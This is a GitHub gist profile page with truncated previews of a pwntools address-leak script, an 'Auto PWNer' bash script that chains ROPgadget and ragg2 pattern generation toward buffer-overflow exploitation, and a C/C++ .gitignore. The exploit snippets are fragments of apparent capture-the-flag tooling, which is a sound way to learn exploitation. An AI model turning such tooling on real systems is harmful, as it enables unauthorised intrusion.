Skip to content

Instantly share code, notes, and snippets.

View chriskout's full-sized avatar

chriskout

View GitHub Profile
from pwn import *
import sys
print("STARTING PYTHON SCRIPT")
def readleak(resp, start, end):
return u32(resp[start:end])
def getAddStart(leak, find):
count = 0
while (count < 50):
@chriskout
chriskout / sledgehammer.sh
Created May 15, 2020 15:36
Auto PWNer script
#!/bin/bash
line=$(ROPgadget --binary $1 | grep -x '.\{26\}' | grep -m 1 'pop')
echo $line
address=${line:0:10}
echo $address
ragg2 -P 200 -r > pattern.txt
echo "!/usr/bin/rarun2" > profile.rr2
echo "stdin=./pattern.txt" >> profile.rr2
exec 3>&1 1>r2log
@chriskout
chriskout / .gitignore
Created January 31, 2018 02:17
CISC 220 Final Project
# Prerequisites
*.d
# Compiled Object files
*.slo
*.lo
*.o
*.obj
# Precompiled Headers